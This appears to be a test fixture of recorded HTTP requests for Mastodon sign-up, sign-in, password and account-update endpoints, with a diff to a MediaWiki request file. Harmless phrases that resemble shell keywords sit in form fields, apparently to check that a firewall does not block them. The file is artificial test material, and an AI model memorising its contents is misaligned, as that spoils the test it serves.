{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 417", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=vb8PzWlK0eb7wzVjSvqqlb2WVxoIXLf29EjSJ0Elqcyp4deEjqcsHEvYP%2FNzSQrFkNJWmAmQrAdniXilamdqIZRAQGSTRNdJhwX4sy842QH5v3Flm4F%2FlZs42TyDo6glgLE%2B4cwHk4llViwCjoYRHIkkwlRW6JihQyWkQGNB7XrWsTflZ0hQ7UuCI%2BmFMf3YZ5deCjJ51BHh8l%2ByiQBmvs6xXtMfY2eLzJP9bVTIIkWwmCk0i3yL83fj7eImga%2BWCduOtP%2FBUorRYP%2Bsgn6IGzdrbmhqV5vQgdckkpfEdEqgK5OKLac%2Bgp4RU2%2FJnuAQVEbJuufWG3MjqIMjfbvZ8vDT%2FGZkadSmd8wyCQaqOeAmr2RCvHoh%2BAAKEb%2B0--uI4n00hYvvgibOU2--43IEqCSj%2BnHcBQ1qoVGwag%3D%3D"], "body": "authenticity_token=zYuV7Nu8Y8f9EgVq03Wwrb7EUbtffJlTVhoZ1NXCQvemDx2lIT-PCMGoniKM_RMM5iFG8zL6w92knuUulwNM-A&user%5Baccount_attributes%5D%5Busername%5D=web_keeper&user%5Bemail%5D=htaccess%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 425", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=vF0GEzKKCKQ%2FCNzsYrj0WxhxvXZRZGO66brEDxtKDu3kJOMB1uLGD60H%2BWyrlxkX5wfg3H2CEUEBuJ0LWz%2F%2F4GFr7ctkxFSY%2B5Fun5C572mtZeSCnvIpYPz5OHfxIfVT9lmo5Kw01NNfGBaRkqXuMHMlHDicu3AiNVnA20Dt7iO1govzRMU2a4XfnDwImMqQBM0ArRf6gIs1CT7wwXq4g9%2B8WD9jQ31wwmBW%2FRpy5Vll1Qqr5VPv0WNyNhGcXC3taPQZnfZsXpMNuu0ydfho9bkhIkS6Iw05sNHpHE5BVK%2B7uOtWfISLVkFb1S9nythMAPTPrI8S1pqycCnIXpiWjkaeDhb1nhpwAVD%2BuIam4vU7o%2BM%2FEap9yXVzLowB--Oo%2BZ20ODoy5ziMqd--0kUqOPJSpTjTeKP0mPEGuQ%3D%3D"], "body": "authenticity_token=RRxTKuoJ--EMefz7JfASZGs6qCvYiZDDN46sALlLgcVmsYPW6VLqhrMLRFwHDWDBxpkY7aSzan2M2HgSV6io1g&user%5Baccount_attributes%5D%5Busername%5D=notes_keeper&user%5Bemail%5D=notes.htaccess%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 419", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=M2z%2Fm%2BSZOzs1UFLwO36y%2BvHU%2BDx67YmbD%2BiOQYv5Wkd44Ujcca69fmFfOnN55Za9rE2%2FyEgDNPVelsnbehNPniXFVv3BT%2Bn%2BS8fTtWijRXEaSweO3szQt848QWFtp%2FcQTkGzky4iBvgZsPqPLnsX3V9RgM7WlJFwvK99MU2Msi3q5IOA9kqgblZhpie13HXGDclCIdMXKZAnO6kZMZ2UdzV6g7gwU2VYnHt%2F3vrwpxeszfdjk4V9HzoADNvO6W2bd8%2BMwVZ89FKW08Th4osRE3thPMs1jQANRfDEqhIoMVGFXonynBjBF%2FePoKjVVp1MkqyHAf3fPOUCU48n5shE1MhX33xMs%2FEwpLqXHjt4LDvJsQREZqti%2BzIIvhlc--Qr0ZZKxzdfBRgyBn--HQXSsN2nfe3wP2ALRIG52w%3D%3D"], "body": "authenticity_token=i_kCx3OTp2u9LD3ZiS2hYdUpKablxBABcHmGkUOQ4PxpZ0LKFmaVg2FCor8C2eY6gklGF2IOLz8yRpW_WKPS6Q&user%5Baccount_attributes%5D%5Busername%5D=jane_doe&user%5Bemail%5D=jane.profile%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 203", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=o1e7dhjGvgxwcsifl1ecgUt1%2FAvzlxWhJIx8cSJo1eYg41yWmFvZB4OFlbjvFCv1FksdiraegpzG7dfEurGH4jLP5HjFBzis8EAHFvbvByZ0DsVD0zcT8sYbMiGJZ0e6gKDo4s4%2FyDZB62f%2B7985VUGvJepD8RmYiSbxwEJbOkOeb4Prq24pwYUOeie94tfHeiy%2ByqRx1Yzb%2Fs8XOxqJM2OmQId76stDvRvOD1xi0DbubhwhTkx%2F6H5Xu6rA71VG6uPQF%2F6uv8%2B%2BsLU%2BcdInOZiaT21%2BX2084A%3D%3D--0VyhNV877UlOFlZL--SDrBj3L5kjLOpi0cODL%2Fug%3D%3D"], "body": "authenticity_token=MFFMVyCA4yDlS5_I5Lc6rsjXcKtMYPcZiyZMcKE_a8jQW7oQtURKdDOe9KBW1L2n_dED4V6v0URhHkSPFqOLMA&user%5Bemail%5D=python3%40example.com&user%5Bpassword%5D=3b7f7501c34aa6ec675a10d56fd40c0b&button="}
|
||||||
|
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 206", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=OsPZG6jraaZrlor8E21igqQTGmJj3iroGT3LClUtQ%2FvfZ8KUVTlP1gFIUZGL7tA4RKoAqufM4h3gc0f9iHkW1iBN4Zzy0P1EsJApBxmdhA5jWjykmlmDkjbl3XBpC2bjSfEclHMDaFdxeDsvrRpCnPI8e%2FOHHf2dPKTXFwPy3uXJNbMErwBXYkIj5LJ26ho0NV2aaK4cBpBiIrbL3fBGNJE1xIeNr0RfQb4SDJFajs%2Fajocj8pqMYwh5Ee%2BR1GJxMTbrP%2BAQNx4Flwxmmw%2FyE0b0AsREZsGuAA%3D%3D--a2UepQY3UObgLWTr--Hi6YPBdW0CU9j2frkzkeHA%3D%3D"], "body": "authenticity_token=PYFWxjQiwc5UwMK7NZgRoU6vgGXRkn_EDKp_yCxPGVq4DuzKjBXWord55DAx9sbqkELSr25IgTDgfCWpSvmRbg&user%5Bemail%5D=powershell%40example.com&user%5Bpassword%5D=b020e31ede8445291808e84d0d4b0b39&button="}
|
||||||
|
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 208", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=GQG7th4SSFJJptboyXQ2nHbPzeVgYr5siGKXLEZdC1Pr4J23PYsrhLzFVLJmqgtqCyGBfgvEUv9c53bD8%2Fo3spsYbtMO3aJ11fZ0SN0FzGm%2BhQG8NB1tXkwloULmycgyIwKcocIbVF0BVAuvEnKT%2FEyw%2B5fOHUBnPaHVfdwzPUhnLI8B5qoT9fNGH6%2Bg76e467c1FFktpmrkTXlj%2FIJPmlt8sDRv9bcTopBm5%2BJdDSOs2XZT2FjcKVlgKj5f9jn7gSvDMXimkxmTGnlO3gWlN6zdEMveFAbjUg%3D%3D--iLCeyhs89gQ%2F0a20--HCAgEQsJ9Sqct7delCVdaA%3D%3D"], "body": "authenticity_token=0BLTgaOX0KtQd9oJd9t_iJ3DuS4pc9mvLJ5d-1y-1hsU0d51EBPJchQyu-8UdpUXq3sldu-e9dU55qgJNa6stw&user%5Bemail%5D=jane.profile%40example.com&user%5Bpassword%5D=5ceccf6b6ec8b568a106c73028166d0a&button="}
|
||||||
|
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 210", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=7jLd4egwOOot24vVspS3msMFVmmgSDH%2B8DEk09JyMVMsfgPUxNnD%2BE%2BEMO%2Fj75RdSC5OAN9461M7MrRycrLjJdSDrRhcVKBdDbEUm1bEIj7rx71elBJ8yJTglOYOFTtu6LzmOzgL03p0GGVsvQxc63JNnYbAIkKmNPN6%2BkdDbfdYU1PThx90MFROLgMBpYdUn7jloZep0UozcG4zreT4uZgSBDUn4lSsrT5KADjawiiac%2BkM2w1E6MSjWP8e10RlD4K6KbA%2B1gFT1rHfyFqC3rpa%2BqWUwSAxag%3D%3D--bP9FNxr5vUpKFjZd--in67PoQ14HMlhRU4%2FHolSg%3D%3D"], "body": "authenticity_token=LgSpvc7spqgXNeuzbkL5jNZfxQVFU-7ZGmmdupSr4fNKK82qvoiAFQoauw2SjbRopL_9ReZ_Vg5LXA0BOHvOCw&user%5Bemail%5D=notes.htaccess%40example.com&user%5Bpassword%5D=ec379830ac6e1374cdae7f9bca09c16f&button="}
|
||||||
|
{"method": "POST", "target": "/auth/password", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 154", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/password/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=onN31cxutUrkdlAsjTgZRSbqLWbPU0Vl%2FvH%2FhyZsReT8miqVWMxdD%2BguY%2Bqg%2Fj40HyJDDUJV8%2B6ckMeT1mtXy5gFLKRTmKJfPkMCHPRhSjDX8gkgo12yuMh3ld%2FrNHvbxNa14xV9z5bp01NZuJrNKY9a%2BZLAi66KeJ7%2FjL9EgT%2B8cVuGlkrEveNY9ns77gWSjRG9cqgpqbK%2F%2FRI7AqzAD0QdJziyU59cgs%2FDxwr0dd8%2BQSSu7SyLCownQ9tF%2B4dIwngHJg6JSDwsBzfGC7NDsZHFDp9%2BtLMeKA%3D%3D--5KTN0p7IpmlYsyNX--jXLGfWPMiD490n5JXGfNMQ%3D%3D"], "body": "authenticity_token=wfRKDkI7qHsuXolnsL4rNRhEeUpUc2OL4w9nofE7M_QLmREQyYJCvFOzcGYTLAlqHxnTgH8xcr6E4F4sc7Ro2A&user%5Bemail%5D=powershell%40example.com&button="}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 282", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqY3dOR05pTURRME1UWmlZbVppT1RCaU1tWm1abVppWlRGbFltUmtObVkxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDU6MTA6MTIuODI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8594fc8147b2d23629c95a7431c076ee080a4f57; _mastodon_session=KtK1BZrdGRobd2xqCBEJfZVUudj0%2BSUW8TrvkGK0ZqmhC0Rh%2BUi%2FSjXaqHMSuhYCEjZNRN8u2b98XpxGTyp%2Bg09UbxjQBwfDBBfeSr3ne6qpaw5AlUvwMYCybj8eJ2hl2OPOvMiKgC%2FzcxWfpHbGsHG%2BNVsdXgWDX1o28gPkSAJDVqnyLf1oU4zsO4mKeiUDvKQN0uW0RjCpHpAJy7RCUzQe2N%2BBlJaBbdJ0ixGhkE2IVklAngJfVWYbhu4FxdCMhlgN3pNOOZ60FpvVYgEobCc2NursD0afkopkoDOcQkN%2FQOUTYWodPL3A8ATg6fA4rX1XMLUTHFBq8ujKiLj1K7izpb764r1M7RcTSwy1ZlejMRs3qLgeszlFrHWW7nNAW86%2B51tH8ZRH--0PZbJclhDE2LDd7W--d%2By6fe0fWZYd3syDnPoIgw%3D%3D"], "body": "_method=put&authenticity_token=ckaBKUhX16h1HG-5tvLsAvRglICUuw583pReBXgF1ZVYjPY9N8EhdPbuO9tg0hUpOC0P2Jy180A2nydjM6X3SQ&user%5Bemail%5D=python3.notes%40example.com&user%5Bcurrent_password%5D=0fbac3da2c8c42297ea052a558c463d7&user%5Bpassword%5D=&user%5Bpassword_confirmation%5D=&button="}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Type: application/json", "Content-Length: 237"], "body": "{\"display_name\":\"ls -la shows the .htaccess file\",\"note\":\"python3 and powershell scripts that edit .htaccess\",\"fields_attributes\":[{\"name\":\"ls -la shows the .htaccess file\",\"value\":\"python3 and powershell scripts that edit .htaccess\"}]}\n"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Type: application/json", "Content-Length: 169"], "body": "{\"note\":\"ls -la shows the .htaccess file\",\"fields_attributes\":[{\"name\":\"python3 and powershell scripts that edit .htaccess\",\"value\":\"ls -la shows the .htaccess file\"}]}\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Length: 174", "Content-Type: application/x-www-form-urlencoded"], "body": "username=dawn_walks&email=dawn_walks%40example.com&password=ls+-la+shows+the+.htaccess+file&agreement=true&locale=en&reason=python3+and+powershell+scripts+that+edit+.htaccess"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Length: 142", "Content-Type: application/x-www-form-urlencoded"], "body": "username=dusk_walks&email=dusk_walks%40example.com&password=river+walk+at+dawn&agreement=true&locale=en&reason=ls+-la+shows+the+.htaccess+file"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Type: application/json", "Content-Length: 203"], "body": "{\"username\":\"evening_walks\",\"email\":\"evening_walks@example.com\",\"password\":\"ls -la shows the .htaccess file\",\"agreement\":true,\"locale\":\"en\",\"reason\":\"python3 and powershell scripts that edit .htaccess\"}\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Type: application/json", "Content-Length: 167"], "body": "{\"username\":\"night_walks\",\"email\":\"night_walks@example.com\",\"password\":\"river walk at dawn\",\"agreement\":true,\"locale\":\"en\",\"reason\":\"ls -la shows the .htaccess file\"}\n"}
|
||||||
+105
-1
@@ -2,7 +2,7 @@
|
|||||||
# the defaults. They were recorded from a wiki driven by a headless Chrome and
|
# the defaults. They were recorded from a wiki driven by a headless Chrome and
|
||||||
# an API client. Each line is one request as JSON. Host names, passwords and
|
# an API client. Each line is one request as JSON. Host names, passwords and
|
||||||
# session cookies are invented.
|
# session cookies are invented.
|
||||||
{"method": "GET", "target": "/images/README", "headers": ["Host: example.com", "User-Agent: MediaWiki/1.46.2 (https://\u00f0\u009f\u008c\u00bb.invalid)"], "body": ""}
|
{"method": "GET", "target": "/images/README", "headers": ["Host: example.com", "User-Agent: MediaWiki/1.46.2 (https://\ud83c\udf3b.invalid)"], "body": ""}
|
||||||
{"method": "GET", "target": "/wiki/Main_Page", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
|
{"method": "GET", "target": "/wiki/Main_Page", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
|
||||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
{"method": "GET", "target": "/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
|
{"method": "GET", "target": "/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
@@ -565,3 +565,107 @@
|
|||||||
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
||||||
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
||||||
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
|
